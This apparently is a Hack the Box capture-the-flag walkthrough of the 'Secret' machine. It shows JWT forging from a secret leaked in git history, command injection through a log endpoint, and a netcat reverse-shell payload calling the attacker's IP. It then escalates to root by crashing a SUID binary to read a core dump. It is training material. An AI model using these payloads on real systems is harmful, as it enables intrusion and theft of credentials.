categories: [Hack the Box] tags: [Secret] —
Target machine: 10.129.198.24
Attack machine:
Secret from Hack the Box
Index
- Enumerating
- Register user and Login
- Code Review
- Creating admin JWT token
- Remote code execution
- Privilege escalation
- Coredump
Enumerating
Let’s go, let’s go, let’s gooohoooo, let’s solve this secret!
As per tradition let’s start off with a good old Nmap TCP scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~/Documents/HacktheBox/secret]
└─$ sudo nmap -p22,80,3000 -sV -sC -T4 -Pn -oA 10.129.198.24 10.129.198.24
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-17 06:58 EST
Nmap scan report for secret.htb (10.129.198.24)
Host is up (0.026s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open http Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.49 seconds
We see SSH open on port 22, a website on port 80 and… well this is interesting, port 3000 which is also a website.
While browsing through the website I noticed it might be possible to register a user.
Page of the website that shows how to register users
The website goes into detail on how to register and how to login, so let’s follow the steps described on the following page: http:\\<TARGET-IP>:3000/docs#section-3
Register user and Login
I used an intercepting proxy (e.g Burp Suite) to intercept the request from the front page of the website and send it to the repeater in Burp Suite.
Get request front page
Next, I changed the request method to POST by right-clicking and choosing “Change request method”.
1
2
3
4
5
6
7
8
9
10
11
POST / HTTP/1.1
Host: 10.129.44.169:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-None-Match: W/"3248-nFUp1XavqYRgAFgHenjOsSPQ/e4"
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Last but not least, I changed the filepath location and the POST body to look like the example shown on page /docs#section-3 of the website.
My final request looked like the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /api/user/register HTTP/1.1
Host: 10.129.198.24:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-None-Match: W/"5d-ArPF0JBxjtRzy3wpSVF4hSVtK4s"
Content-Type: application/json
Content-Length: 90
{
"name": "Ch1mp3y",
"email": "test@test.nl",
"password": "Ch1mp3y123!"
}
When forwarding the request in Burp Suite we can see that the user is registered
The user is registered
Alright now that we are registered, it should be possible to login.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /api/user/login HTTP/1.1
Host: 10.129.198.24:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-None-Match: W/"5d-ArPF0JBxjtRzy3wpSVF4hSVtK4s"
Content-Type: application/json
Content-Length: 69
{
"email": "test@test.nl",
"password": "Ch1mp3y123!"
}
We received an authentication token, which means the login attempt was successful.
1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
X-Powered-By: Express
auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MmNiZGIyMDVlMzY1NTA0NzkwMzlkMmIiLCJuYW1lIjoiQ2gxbXAzeSIsImVtYWlsIjoidGVzdEB0ZXN0Lm5sIiwiaWF0IjoxNjU3NTI4Nzk5fQ.Zf29Eo64ZVtZxyzuLP-bsraUX25ytTNU_lNJX6kTvR0
Content-Type: text/html; charset=utf-8
Content-Length: 203
ETag: W/"cb-f3OYk+ehyWOtQh4osqBwpHundr8"
Date: Mon, 11 Jul 2022 08:39:59 GMT
Connection: close
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MmNiZGIyMDVlMzY1NTA0NzkwMzlkMmIiLCJuYW1lIjoiQ2gxbXAzeSIsImVtYWlsIjoidGVzdEB0ZXN0Lm5sIiwiaWF0IjoxNjU3NTI4Nzk5fQ.Zf29Eo64ZVtZxyzuLP-bsraUX25ytTNU_lNJX6kTvR0
Authenticated user
Well.. now what?! I am ashamed to admit this, but it took me way too long to notice the VERY big button on the front page saying source code.
Source code
Let’s do a litte code review
Code Review
The index.js page shows us that there is a file called auth.
1
2
3
4
5
// import routes
const authRoute = require('./routes/auth');
const webroute = require('./src/routes/web')
In auth.js we see the register endpoint and a login section which will check an account and then creates a JSON Web token. We saw this in action already in the above steps.
Register user:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
┌──(kali㉿kali)-[~/…/HacktheBox/Secret/local-web/routes]
└─$ cat auth.js
const router = require('express').Router();
const User = require('../model/user');
const bcrypt = require('bcryptjs')
const jwt = require('jsonwebtoken')
const { registerValidation, loginValidation} = require('../validations')
router.post('/register', async (req, res) => {
// validation
const { error } = registerValidation(req.body)
if (error) return res.status(400).send(error.details[0].message);
// check if user exists
const emailExist = await User.findOne({email:req.body.email})
if (emailExist) return res.status(400).send('Email already Exist')
// check if user name exist
const unameexist = await User.findOne({ name: req.body.name })
if (unameexist) return res.status(400).send('Name already Exist')
//hash the password
const salt = await bcrypt.genSalt(10);
const hashPaswrod = await bcrypt.hash(req.body.password, salt)
//create a user
const user = new User({
name: req.body.name,
email: req.body.email,
password:hashPaswrod
});
try{
const saveduser = await user.save();
res.send({ user: user.name})
}
catch(err){
console.log(err)
}
});
Login the user:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// login
router.post('/login', async (req , res) => {
const { error } = loginValidation(req.body)
if (error) return res.status(400).send(error.details[0].message);
// check if email is okay
const user = await User.findOne({ email: req.body.email })
if (!user) return res.status(400).send('Email is wrong');
// check password
const validPass = await bcrypt.compare(req.body.password, user.password)
if (!validPass) return res.status(400).send('Password is wrong');
// create jwt
const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET )
res.header('auth-token', token).send(token);
})
router.use(function (req, res, next) {
res.json({
message: {
message: "404 page not found",
desc: "page you are looking for is not found. "
}
})
});
module.exports = router
Moving on, I stumbled upon the private.js in the routes folder.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(kali㉿kali)-[~/…/HacktheBox/Secret/local-web/routes]
└─$ cat private.js
const router = require('express').Router();
const verifytoken = require('./verifytoken')
const User = require('../model/user');
router.get('/priv', verifytoken, (req, res) => {
// res.send(req.user)
const userinfo = { name: req.user }
const name = userinfo.name.name;
if (name == 'theadmin'){
res.json({
creds:{
role:"admin",
username:"theadmin",
desc : "welcome back admin,"
}
})
}
else{
res.json({
role: {
role: "you are normal user",
desc: userinfo.name.name
}
})
}
})
The script shows us another endpoint called /priv, and even more interessting if the username equals theadmin and if we have the correct token, we can authenticate as the admin user.
So let’s see what else we got in the source code folders
I noticed a .git folder:
1
2
3
4
5
6
7
8
──(kali㉿kali)-[~/…/Other/HacktheBox/Secret/local-web]
└─$ ls -la
total 52
drwxr-xr-x 9 kali kali 4096 Jul 11 05:33 .
drwxr-xr-x 3 kali kali 4096 Jul 11 05:08 ..
-rw-r--r-- 1 kali kali 72 Sep 3 2021 .env
drwxr-xr-x 8 kali kali 4096 Sep 8 2021 .git
We could extract the folder with gittools.
All you need to do is run the extractor.sh, set the filepath to the .git folder and set the path where you want to store the extracted git folders.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[/opt/tools/GitTools/Extractor]
└─$ ./extractor.sh /home/kali/Documents/Other/HacktheBox/Secret/local-web/ /home/kali/Documents/Other/HacktheBox/Secret/local-web/Extracted_git/ 1 ⨯
###########
# Extractor is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########
[+] Found commit: 4e5547295cfe456d8ca7005cb823e1101fd1f9cb
[+] Found file: /home/kali/Documents/Other/HacktheBox/Secret/local-web//0-4e5547295cfe456d8ca7005cb823e1101fd1f9cb/.env
[+] Found file: /home/kali/Documents/Other/HacktheBox/Secret/local-web//0-4e5547295cfe456d8ca7005cb823e1101fd1f9cb/index.js
[+] Found folder: /home/kali/Documents/Other/HacktheBox/Secret/local-web//0-4e5547295cfe456d8ca7005cb823e1101fd1f9cb/model
[...]
Let’s go to the extracted git files:
1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/…/HacktheBox/Secret/local-web/Extracted_git]
└─$ ls -la
total 100
drwxr-xr-x 8 kali kali 4096 Jul 11 05:33 .
drwxr-xr-x 9 kali kali 4096 Jul 11 05:33 ..
drwxr-xr-x 7 kali kali 4096 Jul 11 05:22 0-4e5547295cfe456d8ca7005cb823e1101fd1f9cb
drwxr-xr-x 7 kali kali 4096 Jul 11 05:23 1-55fe756a29268f9b4e786ae468952ca4a8df1bd8
drwxr-xr-x 7 kali kali 4096 Jul 11 05:25 2-67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
drwxr-xr-x 7 kali kali 4096 Jul 11 05:26 3-de0a46b5107a2f4d26e348303e76d85ae4870934
drwxr-xr-x 7 kali kali 4096 Jul 11 05:27 4-e297a2797a5f62b6011654cf6fb6ccb6712d2d5b
drwxr-xr-x 7 kali kali 4096 Jul 11 05:28 5-3a367e735ee76569664bf7754eaaade7c735d702
Eventually I found a secret token in the .env file:
1
2
3
4
5
┌──(kali㉿kali)-[~/…/HacktheBox/Secret/local-web/1-55fe756a29268f9b4e786ae468952ca4a8df1bd8]
└─$ cat .env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
So what do we have so far? We have an authentication token of our regular user, we have a name theadmin to authenticate as the admin user and we have a secret_token.
With all this information we can forge the JWT token.
Creating admin JWT token
I used the website jwt.io to change the authentication token of the regular user:
JWT token of the regular user
Change the name of the regular user Ch1mpey to that of the admin user theadmin and add the secret token:
JWT token of the admin user
Now that we have created a new token we can FINALLY make a request to /api/priv with the new token in the header.
1
2
3
4
5
6
7
8
9
10
GET /api/priv HTTP/1.1
Host: 10.129.44.169
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MmNiZGIyMDVlMzY1NTA0NzkwMzlkMmIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRlc3RAdGVzdC5ubCIsImlhdCI6MTY1NzUyODc5OX0.rHd4mGTO0BEalykzr4gdIBxX9aw6sG_G4c5ZJ2dkfnI
Referer: http://10.129.44.169:3000/docs
Connection: close
Upgrade-Insecure-Requests: 1
Success! We get a message back, saying Welcome back admin
Authenticated as the admin user
Okay so now what? Well, remember /routes/private.js? There is more to it!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
router.get('/logs', verifytoken, (req, res) => {
const file = req.query.file;
const userinfo = { name: req.user }
const name = userinfo.name.name;
if (name == 'theadmin'){
const getLogs = `git log --oneline ${file}`;
exec(getLogs, (err , output) =>{
if(err){
res.status(500).send(err);
return
}
res.json(output);
})
}
else{
res.json({
role: {
role: "you are normal user",
desc: userinfo.name.name
}
})
}
})
As we can see, we can make a GET request to /logs page and it requires a file parameter. You cannot tell me your fingers are not itching to see if the parameter is sanitized or not. ;)
Let me spoil the suprise because I am too excited, it is not sanitized! Yay!
Remote code execution
So if we send the following request:
1
2
3
4
5
6
7
8
9
10
GET /api/logs?file=;id HTTP/1.1
Host: 10.129.44.169
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MmNiZGIyMDVlMzY1NTA0NzkwMzlkMmIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRlc3RAdGVzdC5ubCIsImlhdCI6MTY1NzUyODc5OX0.rHd4mGTO0BEalykzr4gdIBxX9aw6sG_G4c5ZJ2dkfnI
Referer: http://10.129.44.169:3000/docs
Connection: close
Upgrade-Insecure-Requests: 1
The server will return the following:
1
2
"80bf34c fixed typos 🎉\n0c75212 now we can view logs from server 😃
\nab3e953 Added the codes\nuid=1000(dasith) gid=1000(dasith) groups=1000(dasith)\n"
Now let’s try the following reverse shell:
1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR-IP> >/tmp/f
The request should look like the following, make sure there are no spaces:
1
2
3
4
5
6
7
8
9
10
GET /api/logs?file=;rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.32+53+>/tmp/f HTTP/1.1
Host: 10.129.44.169
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MmNiZGIyMDVlMzY1NTA0NzkwMzlkMmIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRlc3RAdGVzdC5ubCIsImlhdCI6MTY1NzUyODc5OX0.rHd4mGTO0BEalykzr4gdIBxX9aw6sG_G4c5ZJ2dkfnI
Referer: http://10.129.44.169:3000/docs
Connection: close
Upgrade-Insecure-Requests: 1
Before you send the request, do not forget to setup a listener.
1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/…/Other/HacktheBox/Secret/local-web]
└─$ nc -nlvp 53
listening on [any] 53 ...
connect to [10.10.14.32] from (UNKNOWN) [10.129.44.169] 46352
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)
$
Now let’s get that sweet, sweet user flag:
1
2
3
4
5
6
7
8
9
10
$ cd /home
$ ls
dasith
$ cd dasith
$ ls
local-web
user.txt
$ cat user.txt
44b8b6[...]
Privilege escalation
We are almost there guys, so bear with me. After some enumeration, I noticed something interessting while checking the SUIDs:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
dasith@secret:~$ find / -type f -perm -u=s 2>/dev/null
find / -type f -perm -u=s 2>/dev/null
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/opt/count
The /opt/count directory stands out by far, so let’s see what is in the opt directory:
1
2
3
4
5
6
7
8
9
dasith@secret:/opt$ ls -lah
ls -lah
total 56K
drwxr-xr-x 2 root root 4.0K Oct 7 10:06 .
drwxr-xr-x 20 root root 4.0K Oct 7 15:01 ..
-rw-r--r-- 1 root root 3.7K Oct 7 10:01 code.c
-rw-r--r-- 1 root root 16K Oct 7 10:01 .code.c.swp
-rwsr-xr-x 1 root root 18K Oct 7 10:03 count
-rw-r--r-- 1 root root 4.6K Oct 7 10:04 valgrind.log
Before we take a closer look at the count script, let’s create a more stable shell:
1
python3 -c 'import pty;pty.spawn("/bin/bash")'
Now let’s run the count script and see what happens:
1
2
3
4
5
6
7
8
9
10
dasith@secret:/opt$ ./count
./count
Enter source file/directory name: /root/root.txt
/root/root.txt
Total characters = 33
Total words = 2
Total lines = 2
Save results a file? [y/N]: y
It asked for a source file and it seems to count the characters, words and lines.
if we look at the source code in code.c
1
2
3
4
5
6
7
8
9
10
dasith@secret:/opt$ ls -la
ls -la
total 56
drwxr-xr-x 2 root root 4096 Oct 7 2021 .
drwxr-xr-x 20 root root 4096 Oct 7 2021 ..
-rw-r--r-- 1 root root 3736 Oct 7 2021 code.c
-rw-r--r-- 1 root root 16384 Oct 7 2021 .code.c.swp
-rwsr-xr-x 1 root root 17824 Oct 7 2021 count
-rw-r--r-- 1 root root 4622 Oct 7 2021 valgrind.log
There is an interseting line:
1
2
// Enable coredump generation
prctl(PR_SET_DUMPABLE, 1);
I found the following explanation here
1
2
3
4
5
PR_SET_DUMPABLE (since Linux 2.3.20)
Set the state of the "dumpable" attribute, which
determines whether core dumps are produced for the calling
process upon delivery of a signal whose default behavior
is to produce a core dump.
So I guess we could try to crash the program and see what gets stored in coredump.
Coredump
What we could do is run the count program and setup a second shell to crash it. You can create a second shell via the same method we described above.
Run the count program with the first shell:
1
2
3
dasith@secret:/opt$ ./count
./count
Enter source file/directory name: /root/
Now let’s see in the second shell if the program is indeed running:
1
2
3
4
5
dasith@secret:~/local-web$ ps -aux | grep count
ps -aux | grep count
root 822 0.0 0.1 235668 7428 ? Ssl 13:58 0:00 /usr/lib/accountsservice/accounts-daemon
dasith 1936 0.0 0.0 2488 524 pts/0 S+ 15:44 0:00 ./count
dasith 1938 0.0 0.0 6432 736 pts/1 S+ 15:45 0:00 grep --color=auto count
Kill the process in the second shell:
1
2
dasith@secret:~/local-web$ kill -BUS 1936
kill -BUS 1936
Alrighty, run the count script again and see if the content of the root folder shows:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
dasith@secret:/opt$ ./count
./count
Enter source file/directory name: /root/
/root/
-rw-r--r-- .viminfo
drwxr-xr-x ..
-rw-r--r-- .bashrc
drwxr-xr-x .local
drwxr-xr-x snap
lrwxrwxrwx .bash_history
drwx------ .config
drwxr-xr-x .pm2
-rw-r--r-- .profile
drwxr-xr-x .vim
drwx------ .
drwx------ .cache
-r-------- root.txt
drwxr-xr-x .npm
drwx------ .ssh
Awesome! We see there is also an .ssh folder. This could be our way in. Let’s run the program again, but this time use the id_rsa.pub as source file:
1
2
3
4
5
dasith@secret:/opt$ ./count
./count
Enter source file/directory name: /root/.ssh/id_rsa
/root/.ssh/id_rsa.pub
Kill the process again in the second shell.
when the program crashed go to the coredump file and copy the contents to the /tmp/ folder
1
2
> cd /var/crash
> apport-unpack _opt_count.1000.crash /tmp/test
Use strings so can we filter out any binary.
You will notice that the file contains the ssh key:
1
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCfrMuWbtA4YZnK1QI7dI2lHm90N/E3OV+RTDiczD+EWWlE9opFuLcpRmwErKCg6/OaHNZhyzjXdQMmpQxaz6j07B6rS+LBDVAmZXDO+oWMU1LHNcRWiOagJ4/D7vA2vGK2Q+ua5WJY8ZAKi0EMJmafhY1s1PSRyx8D5vjEH5qbq3IO2GqN88meBE5/RnbqUDXHDQ6agJ3KG9DdrOVuRlnsRZ5O1D8Rhx1ih9rz+ZtD5qY5v1hqpYaIFqLr3DQfN/TqUHxzHwb4psY9w3Xvhrrrp1HAMWZut32dz0TZgaflpR8yS9tomip0dEcYI3Wsjvwnus9FpMLxpO4Ep7E9VVeEE7r57WG247fWscxMcAG3j7orjC/ti+ZfPcDHgchJx+ilWXt+62cRok98cF2DbnJduLyVp8oAZActmMP2+zISLnCqhU5hqVNcRdnA6uy2ndj3dUrHiQYYGqi8Eoy2VFqJz5hO/S9Nbd+Kz13toyoum64UwQfFNA/Kivf79oQeIss= root@localhost
Login via ssh with the obtained key:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(kali㉿kali)-[~/Documents/HacktheBox/secret]
└─$ sudo ssh root@10.129.217.241 -i id_rsa 255 ⨯
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-89-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu 18 Nov 2021 03:47:38 PM UTC
System load: 0.06 Processes: 225
Usage of /: 52.6% of 8.79GB Users logged in: 0
Memory usage: 9% IPv4 address for eth0: 10.129.217.241
Swap usage: 0%
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Oct 26 16:35:01 2021 from 10.10.14.6
root@secret:~# id
uid=0(root) gid=0(root) groups=0(root)
root@secret:~#
And there you have it, we are root!
See you on the next hacking adventure!